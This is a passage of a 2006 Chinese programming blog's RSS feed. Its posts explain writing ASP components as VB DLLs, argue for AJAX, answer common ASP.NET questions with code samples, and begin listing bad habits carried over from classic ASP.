= "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 16:47 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6882.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何把ASP编写成DLL</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6870.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 06:12:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6870.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6870.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6870.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6870.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6870.html</trackback:ping><description><![CDATA[
		<strong>服务器端组件</strong>
		<br />
		<br />首先,服务器端的组件要有别于客户端的组件.客户端的组件是通过网络传输,依靠HTML来起作用.而且只能在IE上有用.但是服务器端的组件是运行在服务器端,它在服务器上执行各种操作.因此,所有的浏览器都能享用,它依靠的是服务器而不是浏览器. <br /><br />当IIS被请求执行一个ASP程序,它首先会在ASP文件中找到 ＜% %&gt;标签之间的代码,并且执行它(也可以是＜script runat=server&gt;＜/script&gt;之间的代码).如果这个ASP程序在先前被调用过,那么它就会用内存中的编译过的程序来向用户返回HTML代码,如果没有,那么它就重新编译.这里ASP就比CGI多一点速度优势,因为CGI是每一个请求都使用一个线程.这样就大大消耗了服务器的资源. <br /><br />想不想你写的程序自己就能在IIS运行!?!现在你就行了!使用VB5(当然现在是VB6了),你就能建立Dynamic Linked Libraries (DLL 文件),它能在IIS上直接运行(如果有asp文件来请求的话). <br /><br />系统和软件的要求 <br /><br />你需要一个32位的操作系统来运行ASP.当然你也得安装IIS或PWS.我们下面的程序是在Windows95+PWS+VB5的环境下开发的. <br /><br />我们开始吧 <br /><br />启动你的VB,选择ActiveX图标.这个图标可以在新建工程找到!VB会提供一个默认的工程名(project1)和类名(class1).我们会将这两个名字都改掉.在改名之前,请首先确认我们拥有Microsoft Active Server Pages Object Library,它在我们的程序非常有用.从菜单中选择"工程",然后在其中选择"引用",就会出现"引用"窗口从中选择Microsoft Active Server Pages Object Library. <br /><br />给工程和类命名 <br /><br />现在我们来根据自己的爱好来为project1和class1来命名吧!给它们命名也是很重要的,我们以后会用这个工程名和类名来创建这个组件的实例!后面详细介绍. <br /><br />如何改名,我就不想多说了! <br />我们的工程名改为Exmaple,类名为Helloword <br /><br />怎样使用工程和类 <br /><br />现在我们有了我们自己的工程(Example1)和类名(HelloWorld).以后我们就会在ASP代码中使用它们的名字来引用这个组件.在ASP中我们就这样引用,如下: <br /><br /><code>Set ObjReference = Server.CreateObject("ProjectName.ClassName") <br /></code><br />对于我们工程的引用就是: <br /><code>Set ObjReference = Server.CreateObject("Example1.HelloWorld") <br /></code>现在我们就能用ObjReference来调用我们在组件中所创建的函数,子程序.下面我们会来写一个SayHello的子程序, 我们执行它的代码如下: <br /><br /><code>＜% <br />Set ObjReference = Server.CreateObject("Example1.HelloWorld") <br />ObjReference.SayHello <br />%&gt; <br /><br /></code>为了在Helloword类中使用ASP的方法,你必须在此类中写一个OnStartPage <br />子函数.如下: <br /><br /><code>Public Sub OnStartPage(PassedScriptingContext As ScriptingContext) <br />Set MyScriptingContext = PassedScriptingContext <br />End Sub </code>现在,无论什么时候用户访问一个带有本组件的ASP文件,IIS就会把ScriptingContext传送给我们的对象请我们使用.这个ScriptingContext包括了全部的ASP方法和属性.实现上,这使得我们有能力访问所有ASP的对象.看下面的代码: <br /><br /><code>Public Sub OnStartPage(PassedScriptingContext As ScriptingContext) <br />Set MyScriptingContext = PassedScriptingContext <br />Set MyApplication = MyScriptingContext.Application <br />Set MyRequest = MyScriptingContext.Request <br />Set MyResponse = MyScriptingContext.Response <br />Set MyServer = MyScriptingContext.Server <br />Set MySession = MyScriptingContext.Session <br />End Sub <br /></code><br />以后我们就能用在VB中用MyApplication 来代替ASP中的Application,同理可以代替Request,Server.....,不过我们来是要在 OnStartPage之前来申明这些变量: <br /><br /><code>Private MyScriptingContext As ScriptingContext <br />Private MyApplication As Application <br />Private MyRequest As Request <br />Private MyResponse As Response <br />Private MyServer As Server <br />Private MySession As Session <br /><br /></code>使用ASP的对象 <br />我们的变量现在就能像标准的ASP对象来使用了!比如,我们经常在ASP中用Request.form()来收集提交表单的数据.现在我们在我们的VB中实现这个功能,代码如下: <br /><br />用ASP中实现: <br /><code>＜% <br />MyTempVariable = Request.Form("userName") <br />Response.Write ("you entered "&amp; MyTempVariable &amp; "as your user name") <br />%&gt; <br /><br /></code>在VB中实现: <br /><br /><code>MyTempVariable = MyRequest.Form("userName") <br />MyResponse.Write ("you entered "&amp; MyTempVariable &amp; "as your user name") <br /><br /></code>通过使用MyResponse来代替Response,我们能够使用所有Response的方法,当然,MyResponse这个名字可以随便来取,你甚至可以就取Response. <br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6870.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 14:12 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6870.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用AJAX的十大理由</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 05:21:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6866.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6866.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6866.html</trackback:ping><description><![CDATA[
		<p style="TEXT-INDENT: 2em">作者：AndreCharland</p>
		<p style="TEXT-INDENT: 2em">保守来说，AJAX在现在是热得不能再热的技术。没有人能否认，它拥有大批的支持者。在CNN上，它从二月份的一个不被看好的词语到十月份成长成一个初具雏形的技术。所以，有必要要看看为什么AJAX能发展成为现在的样子，为什么它能不断成长，并且在短的时间内迅速变得无处不在。所以，我用午夜谈话的风格，来给出需要AJAX技术的十大理由。</p>
		<p style="TEXT-INDENT: 2em">使用AJAX的十大理由：</p>
		<p style="TEXT-INDENT: 2em">10。XAML,XUL,XForms...等等。</p>
		<p style="TEXT-INDENT: 2em">9。服务端技术的不确定性。</p>
		<p style="TEXT-INDENT: 2em">8。Web2.0。</p>
		<p style="TEXT-INDENT: 2em">7。被软件工业领袖们强势采用。</p>
		<p style="TEXT-INDENT: 2em">6。和Flex和Flash等技术的很好的集成。</p>
		<p style="TEXT-INDENT: 2em">5。边际成本低。</p>
		<p style="TEXT-INDENT: 2em">4。能使常规的Web应用受益。</p>
		<p style="TEXT-INDENT: 2em">3。跨浏览器和跨平台。</p>
		<p style="TEXT-INDENT: 2em">2。以可用性和用户体验为王。</p>
		<p style="TEXT-INDENT: 2em">1。基于公开标准。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第一名：公开标准</b>
		</p>
		<p style="TEXT-INDENT: 2em">让我们从第一条开始，AJAX技术是基于被各大浏览器和平台都支持的公开标准的技术。这意味着该技术不怕技术提供商的技术封锁。组成AJAX技术的大多数技术都能放心的使用很多年，而那些不是热点的、最新的和未经考验的技术只能使用一段时间。现在，对于绝大多数的用户和企业来说，浏览器是一个可信任的应用平台，这在五年前就不是个问题了。对于AJAX来说，FIREFOX浏览器的基础Mozilla1.0的发布并且支持XMLHTTPRequest对象是一个转折点。这种允许异步数据交换的技术好多年前就被IE浏览器支持了。这种支持和FIREFOX浏览器的大量被采用真正的使人们理解了跨浏览器的富Internet应用成为了可能。</p>
		<p style="TEXT-INDENT: 2em">1）JavaScriptorECMAScript(StandardECMA-262)：一个有趣的事情是，Javascript是经过长时间后才成为被人们接受的技术，长时间以来，很多公司采用非Javascript技术的方针，幸运的是，这种状况被迅速的改变。</p>
		<p style="TEXT-INDENT: 2em">
				<a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" target="_blank">
						<font color="#002c99">http://www.ecma-international.org/publications/standards/Ecma-262.htm</font>
				</a>
		</p>
		<p style="TEXT-INDENT: 2em">2）XML：是一个来自W3C的、被广泛应用的标准。</p>
		<p style="TEXT-INDENT: 2em">
				<a href="http://www.w3.org/XML/" target="_blank">
						<font color="#002c99">http://www.w3.org/XML/</font>
				</a>
		</p>
		<p style="TEXT-INDENT: 2em">3）HTML：<a href="http://www.w3.org/MarkUp/" target="_blank"><font color="#002c99">http://www.w3.org/MarkUp/</font></a></p>
		<p style="TEXT-INDENT: 2em">4）CSS：<a href="http://www.w3.org/Style/CSS/" target="_blank"><font color="#002c99">http://www.w3.org/Style/CSS/</font></a></p>
		<p style="TEXT-INDENT: 2em">5）XMLHTTPRequestObject：被InternetExplorer、Mozilla-based、Safari和Opera浏览器支持。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第二名：可用性</b>
		</p>
		<p style="TEXT-INDENT: 2em">开发人员和设计人员开始认识到不仅大型的用户体验在市场上是成功的，而且也认识到这样体验是怎么来影响用户的开销的。基于AJAX技术的google地图比传统的选择MapQuest更成功，证明了提供更好的用户体验的产品的成功。AJAX技术是使网络应用有更好的可用性的一个领导性的技术。它允许从服务器端请求少量的信息，而不是整个网页。它增加了页面数据的更新但同时减少了页面的刷新和刷新等待，这些问题从网络已诞生就折磨着Web应用。</p>
		<p style="TEXT-INDENT: 2em">人们已经知道他们需要一个优秀的用户界面并且有对该界面的投资意愿。前提条件是：用户能够快速的取得信息不管数据是一个内部网的应用还是一个广域网的服务。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第三名：跨浏览器和跨平台的兼容性</b>
		</p>
		<p style="TEXT-INDENT: 2em">IE和基于Mozilla的FIREFOX是占据市场分额最大的两个浏览器，并且它们都支持在浏览器上轻松创建基于AJAX的WEB应用。现在开发运行在更为先进的WEB浏览器上的基于AJAX的富WEB应用成为了可能。这是为什么AJAX应用变得如此流行的一个最重要的原因。其实很多开发人员多年前就意识到AJAX技术流行的可能，但一直没有流行是因为浏览器厂商的原因。感谢Mozilla和FIREFOX。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第四名：使常规的WEB应用受益</b>
		</p>
		<p style="TEXT-INDENT: 2em">AJAX技术是当今WEB应用的门面——WEB应用获得的利益超过了桌面应用。这些利益包括部署应用的低投入、维护方便、缩短开发时间和不需要安装。这些都是促使商业和用户自从上世纪九十年代以来采用WEB应用的优点。AJAX技术不但能使WEB应用获得益处，而且使最终用户受益。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第五名：促使技能、工具和技术的升级</b>
		</p>
		<p style="TEXT-INDENT: 2em">由于AJAX基于这些年一直使用的一些公开标准，很多的开发人员就会有新的技术方面的要求以便能够开发AJAX应用。但这并不意味着开发团队从基于HTML和FORM的应用转移到富AJAX型应用需要很高的学习曲线。同时，这意味着开发WEB应用的开发团体需要加速将他们的用户接口升级到AJAX，但并不需要一个大规模的升级和重写他们的WEB应用。自从上世纪九十年代以来，在开发基于浏览器应用方法花了大量投资的那些系统强烈的希望能在现有的应用的基础上增加用户体验。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第六名：能和Flex和Flash等技术的很好的集成</b>
		</p>
		<p style="TEXT-INDENT: 2em">大多数的开发社区都不再支持FlashvsAJAX的火热讨论，这两种技术都在不同的场合拥有各自的优点和缺点，但是它们有大量的机会可以集成到一起工作。很多的开发人员和技术提供商意识到这一点，并且开发出了伟大的产品来集成Flex和AJAX协调使用。我们也热切的期望看到两者能在Macromedia里一起工作。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第七名：采用率</b>
		</p>
		<p style="TEXT-INDENT: 2em">AJAX被业内领袖广泛采用证明了市场的欢迎程度和该技术组的正确。每一个该技术的使用者都成为了胜利者：包括google、yahoo、Amazon和微软等等。是google地图吸引了WEB开发人员的目光，当人们开始调查是什么原因使得google有着如此惊人的用户体验的时候，人们揭开了罩在AJAX头上的面纱。</p>
		<p style="TEXT-INDENT: 2em">当然，仅仅是google使用AJAX是不够使得这项技术跨越从支流到主流的鸿沟的。但是，如果你看一看使用AJAX技术的客户如eBusinessApplications(www.ebusinessapps.com)orTibco(<a href="http://www.tibco.com)等的表单时，你就会发现财富500强包括主要的金融机构、政府机构、航空公司和其他主要商业机构采用ajax，并且在ajax成为硬通货之前很早就开始使用了。/" target="_blank"><font color="#002c99">http://www.tibco.com)等的表单时，你就会发现财富500强包括主要的金融机构、政府机构、航空公司和其他主要商业机构采用AJAX，并且在AJAX成为硬通货之前很早就开始使用了。</font></a></p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第八名：WEB2.0</b>
		</p>
		<p style="TEXT-INDENT: 2em">喜欢也好，厌恶也罢。WEB2.0运行吸引了开发人员、风险投资商、市场和最终用户等所有的目光。这些明确的促进了AJAX的早期应用。当大肆的宣传过去以后，我们将会看到什么呢？从BackPack到google地图，AJAX界面是WEB2.0应用的主要的组成。大量的宣传有助于加速采用AJAX，而在可用性上的获益会使得该技术被广发应用。WEB2.0的一个主要原则是使用WEB作为一个应用开发的平台，而不仅仅是一个网页。高的可用性和交互能力的用户界面是一切应用平台的主要组成部分。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第九名：AJAX基于服务器技术的不确定性</b>
		</p>
		<p style="TEXT-INDENT: 2em">和AJAX技术的浏览器的独立性相同，该技术也兼容所有的标准型的服务器和服务端语言，如PHP,ASP.ASP.Net,Perl,JSP,ColdFusion等等，选择属于你的那种然后开始。这使得AJAX开发独立，因为所有的开发人员都能使用并且一起讨论相同的表现层。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第十名：基于WEB的下一代RIA技术还没有出现</b>
		</p>
		<p style="TEXT-INDENT: 2em">今天就使用XUL技术开发应用的人是伟大的，因为现在90%的浏览器还不支持这种技术，对于大多数的实际应用来说，使用这种技术不切合实际。然而，AJAX开发人员应该给出一部分的注意力在这些技术，如XAML和XUL上。毫无疑问，这些技术将使开发富WEB应用变得简单。但是它们可能相互不兼容并且拥有不同的市场需求或动力。</p>
		<p style="TEXT-INDENT: 2em">在今后一段时间，AJAX技术将极大的提高WEB应用的可用性。AJAX技术并不完美，不是“火箭科学”许多的开发人员和技术公司始终在尝试RIA的其他更好的技术。而实际的问题是AJAX技术现在已经存在并且应用的很好，它跨浏览器、跨平台，而且不管是用户还是开发人员都喜欢它的作用。特征鲜明的AJAX应用如google地图已经成为了本领域的领导者（还有人使用MapQuest吗？）同样的，领先的财富500强使用AJAX技术并且贡献了开发工具给社区了。一般来说，业内在使用AJAX技术上取得了一致并且正在使用它。再强调一次，RIA应用和WEB应用使用了AJAX获得的一个主要的优势不仅仅是开发人员的一个工具，而是一个现象：它改变了我们开发WEB应用的方式。没人能说得清楚在RIA应用方面，哪一种技术会取代它，会在什么时候取代它；但是很多因素都支持AJAX应用应该持续好多年。</p>
		<p style="TEXT-INDENT: 2em">
				<b>关于作者</b>
		</p>
		<p style="TEXT-INDENT: 2em">AndreCharland从事Internet软件开始超过十年之久，他是eBusinessApplications(www.ebusinessapps.com)公司的主席和创建者之一。他和DaveJohnson在1998年创建了该公司。他主要的经验在可用性、市场、项目管理和基于构件的软件开发。所受教育包括：在Vancouver,BC的SimonFraserUniversity，他在那里读计算机科学和工商管理。他作为开发者、管理者和架构师等不同身份有上百个Internet项目的经验。</p>
		<p style="TEXT-INDENT: 2em">原文链接<a href="http://www.developer.com/java/other/article.php/3567706" target="_blank"><font color="#002c99">http://www.developer.com/java/other/article.php/3567706</font></a></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6866.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 13:21 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET热点问题解答14个（开发中经常遇到）</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6862.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 03:37:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6862.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6862.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6862.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6862.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6862.html</trackback:ping><description><![CDATA[
		<p>1、ASP.NET能在那些系统中运行？ <br /><br />　　 目前，ASP.NET还只能奔跑在微软的Windows 2000、Windows XP和Windows 2003的系统中，并且需要微软Internet Information Server(IIS)的支持，微软原计划要让Windows NT4.0也支持ASP.NET，但可能微软是有些技术问题或市场考虑，还没有实现NT下的ASP.NET的支持。 <br /><br />　　 2、在一个ASPX文件中是否可以使用一种以上的语言？ <br /><br />　　 答案让你有点失望，虽然微软的提供了公共语言运行环境（CLR，Common Laguage Runtime）,实现了多种编程语言间的紧密集成，可以允许你从一个VB对象中导出C＃所需的对象来，但一个ASPX文件中只能用一种语言，正如你不能在VB.NET中使用C#的语法一样。 <br /><br />　　 3、ASPX文件的服务器端脚本支持那些语言？ <br /><br />　　 目前，ASPX文件只支持C＃、Visual Basic.NET、Jscript.NET和J#，但是你使用code—behind(代码分离)的方法创建一个独立代码文件，你就可以使用任何.NET编译器支持的语言来实现功能了。 <br /><br />　　 4、在Global.asax文件中能使用code—behind（代码分离）技术吗？ <br /><br />　　 当然可以了，例如： <br />　　 Global.asax： <br /><br />　　 和使用code—behind（代码分离）技术 <br />　　 Global.asax： <br /><br /><code>　　 MyApp.vb: <br />　　 Imports System.Web <br />　　 Imports System.Web.SessionState <br />　　 Public Class MyApp <br />　　 Sub Application_Start(ByVal sender As Object, ByVal e As EventArgs) <br />　　 Application("online_session") = 0 <br />　　 End Sub <br />　　 Sub Session_Start(ByVal sender As Object, ByVal e As EventArgs) <br />　　 Application.Lock() <br />　　 Application("online_session") = CInt(Application("online_session")) + 1 <br />　　 Application.UnLock() <br />　　 End Sub <br />　　 Sub Session_End(ByVal sender As Object, ByVal e As EventArgs) <br />　　 Application.Lock() <br />　　 Application("online_session") = CInt(Application("online_session")) - 1 <br />　　 Application.UnLock() <br />　　 End Sub <br />　　 End Class <br /></code>　　 5、我能否看到ASPX文件在ASP.NET中生成的代码吗？ <br /><br />　　 可以看到的，当你的ASPX文件中包含命令或Web.config中声明了时，你就可以在系统目录下的Microsoft.NET\Framework\v1.0.nnnn\Temporary ASP.NET Files中找到ASPX文件在ASP.NET下生成的文件。 <br /><br />　　 6、在ASPX文件中如何注释呢？ <br /><br />　　 同ASP文件中的方法一样。 <br /><br /><br />　　 7、ASPX文件中是否可以存在一个以上服务器端 Form 标记？ <br /><br />　　 不可以 <br /><br />　　 8、我可以在Web窗体中使用自定义数据类型吗 <br /><br />　　 可以，你可以把包含自定义数据类型的DLL文件放在程序根目录下的BIN目录中，ASP.NET会在数据类型引用时，装载DLL文件的。 <br /><br />　　 9、我能在Global.asax文件中触发那些事件？ <br />　　 Application对象创建和结束时所触发的事件有 <br />　　  Application_Start <br />　　  Application_End <br />　　 Session对象创建和结束时所触发的事件有 <br />　　 • Session_Start <br />　　 • Session_End <br />　　 对程序有请求发生时触发的事件有 (按发生顺序排列) <br /><code>　　 • Application_BeginRequest <br />　　 • Application_AuthenticateRequest <br />　　 • Application_AuthorizeRequest <br />　　 • Application_ResolveRequestCache <br />　　 • Application_AcquireRequestState <br />　　 • Application_PreRequestHandlerExecute <br />　　 • Application_PostRequestHandlerExecute <br />　　 • Application_ReleaseRequestState <br />　　 • Application_UpdateRequestCache <br />　　 • Application_EndRequest <br /></code>　　 当有程序有错误发生时触发的事件有 <br />　　 • Application_Error <br />　　 • Application_Disposed <br />　　 10、Web控件是否支持样式表（CSS）呢？ <br /><br /><code>　　 Yes. All Web controls inherit a property named CssClass from the base class System.Web.UI.WebControls.WebControl. The following example defines a CSS class named Input and uses it to modify a TextBox control to display text in red 10-point Verdana type: <br /><br /></code>　　 支持，所有的Web控件都从基类System.Web.UI.WebControls.WebControl中继承了一个叫做CssClass的属性。 <br />　　 例如： <br /><br /><code>　　 ＜html&gt; <br />＜head&gt; <br />＜style&gt; <br />.Input { font: 10pt verdana; color: red; } <br />＜/style&gt; <br />＜/head&gt; <br />＜body&gt; <br />＜form runat="server"&gt; <br />＜asp:TextBox CssClass="Input" RunAt="server" /&gt; <br />＜/form&gt; <br />＜/body&gt; <br />＜/html&gt; <br /><br /></code>　　　 11、在ASPX文件中默认导入那些名称空间？ <br /><br />　　 ASPX默认导入的名称空间可以直接引用了，使用其它的名称空间就的自行导入了。 <br /><br />　　 默认名称空间 <br /><code>　　  System <br />　　  System.Collections <br />　　  System.Collections.Specialized <br />　　  System.Configuration <br />　　  System.Text <br />　　  System.Text.RegularExpressions <br />　　  System.Web <br />　　  System.Web.Caching <br />　　  System.Web.Security <br />　　  System.Web.SessionState <br />　　  System.Web.UI <br />　　  System.Web.UI.HtmlControls <br />　　  System.Web.UI.WebControls <br /></code>　　 12、我是否可以自己创建服务器控件呢？ <br /><br />　　 可以，创作您自己的 ASP.NET 服务器控件很容易。创建简单的自定义控件时，您所要做的只是定义从 System.Web.UI.Control 派生的类并重写它的 Render 方法。Render 方法采用 System.Web.UI.HtmlTextWriter 类型的参数。控件要发送到客户端的 HTML 作为字符串参数传递到 HtmlTextWriter 的 Write 方法。 <br />　　 例如： <br />服务器控件代码（简单显示字符串）：Simple.vb： <br /><code>Imports System <br />Imports System.Web <br />Imports System.Web.UI <br /><br />Namespace SimpleControlSamples <br /><br />Public Class SimpleVB : Inherits Control <br /><br />Protected Overrides Sub Render(Output As HtmlTextWriter) <br />Output.Write("＜H2&gt;欢迎使用控件开发！＜/H2&gt;") <br />End Sub <br />End Class <br />End Namespace <br />引用文件Simple.aspx： <br />＜%@ Register TagPrefix="SimpleControlSamples" Namespace="SimpleControlSamples" Assembly="SimpleControlSamplesVB" %&gt; <br /><br />＜html&gt; <br />＜body&gt; <br />＜form method="POST" action="Simple.aspx" runat=server&gt; <br />＜SimpleControlSamples:SimpleVB id="MyControl" runat=server/&gt; <br />＜/form&gt; <br />＜/body&gt; <br />＜/html&gt; <br /><br /></code>　　 13、如何在ASP.NET程序中发送邮件呢？ <br /><br />　　 在ASP.NET程序中发送邮件不再象ASP中那样需要组件的支持了，在.NET的框架基类的System.Web.Mail名称空间内包含的MailMessage和SmtpMail类可以实现这个功能。 <br />　　 例如： <br /><code>　　 Dim message As new Mail.MailMessage <br />　　 message.From = "web3@163.com" <br />　　 message.To = "web3@163.com" <br />　　 message.Subject = "测试" <br />　　 message.Body = "内容" <br />　　 Mail.SmtpMail.SmtpServer = "localhost" <br />　　 Mail.SmtpMail.Send(message) <br /><br /></code>　　 14、我将如何通过ADO.NET读取数据库中的图片并显示它呢？ <br /><br />　　 下面举一个从Microsoft SQL Server的PUB数据库读取图片并显示它的例子： <br />　　 下面举一个从Microsoft SQL Server的PUB数据库读取图片并显示它的例子： <br /><code>＜%@ Import Namespace="System.Data.SqlClient" %&gt; <br />＜%@ Import Namespace="System.Drawing" %&gt; <br />＜%@ Import Namespace="System.Drawing.Imaging" %&gt; <br />＜%@ Import Namespace="System.IO" %&gt; <br />＜script language="VB" runat="server"&gt; <br />Sub Page_load(Sender as Object, E as EventArgs) <br />dim stream as new MemoryStream <br />dim connection as SqlConnection <br />connection=new SqlConnection("server=localhost;database=pubs;uid=sa;pwd=") <br />try <br />connection.Open() <br />dim command as SqlCommand <br />command = new SqlCommand ("select logo from pub_info where pub_id='0736'", connection) <br />dim image as byte() <br />image = command.ExecuteScalar () <br />stream.Write (image, 0, image.Length) <br />dim imgbitmap as bitmap <br />imgbitmap = new Bitmap (stream) <br />Response.ContentType = "image/gif" <br />imgbitmap.Save (Response.OutputStream, ImageFormat.Gif) <br />Finally <br />connection.Close() <br />stream.Clse() <br />End Try <br />End Sub <br />＜/script&gt; <br /></code></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6862.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 11:37 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6862.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>从ASP过渡到ASP.net遗留的二十大积习(我就犯了其中的一半错误)</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6861.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 03:26:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6861.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6861.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6861.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6861.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6861.html</trackback:ping><description><![CDATA[
		<p style="TEXT-INDENT: 2em">在技术更新的进程中, 仍然有一些人死抱着已经过了气的东西不放. 也有一些人虽然进入到新的世界, 但仍摆脱不了陈旧的习惯. 我没有用”陋习”这个词, 因为我对这个词也非常反感. </p>
		<p style="TEXT-INDENT: 2em">新技术应该有新技术的做法, 进入ASP.NET的世界, 就应该把以往的习惯改正, 全新的进入新的世界. </p>
		<p style="TEXT-INDENT: 2em">以下列举的都是错误的做法, 请不要误以为是推荐的做法而进行推广: </p>
		<p style="TEXT-INDENT: 2em">1. 使用server side include给ASPX引入共同的页面构图. </p>
		<p style="TEXT-INDENT: 2em">在ASP.NET的机制下, 应使用ASCX(web user control)来实现. ASCX提供了更多可控制接口. 并且更重要的是, ASCX是一个类. 一个实实在在的类. 可以全面控制它. </p>
		<p style="TEXT-INDENT: 2em">2.不使用web.config </p>
		<p style="TEXT-INDENT: 2em">web.config提供了非常丰富的配置管理接口. 是一个应用程序最核心的部分. 但是很多人的web.config往往是空的. 或者就从来没有修改过. </p>
		<p style="TEXT-INDENT: 2em">3.使用Response.Write向前端输出消息 </p>
		<p style="TEXT-INDENT: 2em">ASP.NET平台下的Response和ASP的Response有很大的不同. 虽然表示同一含义, 但用法上已经大不相同. Response.Write的内容只会输出到页的最前端. 向前端输出消息的正确方法是使用PlaceHolder. </p>
		<p style="TEXT-INDENT: 2em">4.使用一系列session管理用户连接状态 </p>
		<p style="TEXT-INDENT: 2em">这种方法在ASP里被滥用. 在ASP.NET环境下, 正确的做法应该是设计一个类. 结构化地保存数据. 将对session或者cookie的访问封装起来. </p>
		<p style="TEXT-INDENT: 2em">5.使用session验证身份 </p>
		<p style="TEXT-INDENT: 2em">这几乎是通病. ASP.NET提供了一组用于用户身份验证的API. 类型是forms验证或者windows验证. 这一点quick start有一节讲解得很清楚. 可以绝大部分人还是依靠给session赋值来保持用户身份验证状态. </p>
		<p style="TEXT-INDENT: 2em">6.使用Response.Redirect重定向页 </p>
		<p style="TEXT-INDENT: 2em">这一点在必要的时候可以使用. 但不可滥用. 事实证明滥用重定向将导致逻辑上的严重混乱. 这是在以页为程序单元的时候的做法. 使用front controller模式将使用户的操作逻辑集中起来] </p>
		<p style="TEXT-INDENT: 2em">7.使用太多ASPX页 </p>
		<p style="TEXT-INDENT: 2em">ASP环境下的程序单元只有*.asp页, ASP.NET可不是这样, 还有后端的类库, ASCX等等. 应将业务逻辑分别集中在不同的单元, 而不应该一项操作使用一个ASPX. 更多时候ASPX将做为ASCX或者custom control的容器而管理页内逻辑. ASPX重用ASCX的同时, ASPX也做为统一的页构图重用. </p>
		<p style="TEXT-INDENT: 2em">8.在多个逻辑单元之间复制代码并修改相应逻辑 </p>
		<p style="TEXT-INDENT: 2em">重用. 重用. 重用. 处理此类问题的原则是不出现任何相同或相似的过程. 如果你用上面的方法, 一旦出现重大逻辑更改, 带来的结果将是灾难性的. </p>
		<p style="TEXT-INDENT: 2em">9.害怕使用DataSet. </p>
		<p style="TEXT-INDENT: 2em">很多人被DataSet吓坏了. 认为”肯定”影响性能. 但连最初的尝试都不敢. 他们总认为他们的产品一定重大, 设计上应该”慎重”. 他们往往使用ArrayList或者设计低级的类来保存集合数据. 进行艰难的数据倒入工作. </p>
		<p style="TEXT-INDENT: 2em">10.对“性能”过多注意. </p>
		<p style="TEXT-INDENT: 2em">对ASP.NET ViewState的机制特别不满. 或者总是挖空心思迫害人家. 反倒把自己弄得很累. 如果在对付ViewState的同时多注意少连几次数据库也许更文明些. </p>
		<p style="TEXT-INDENT: 2em">11.应用程序根目录很乱. </p>
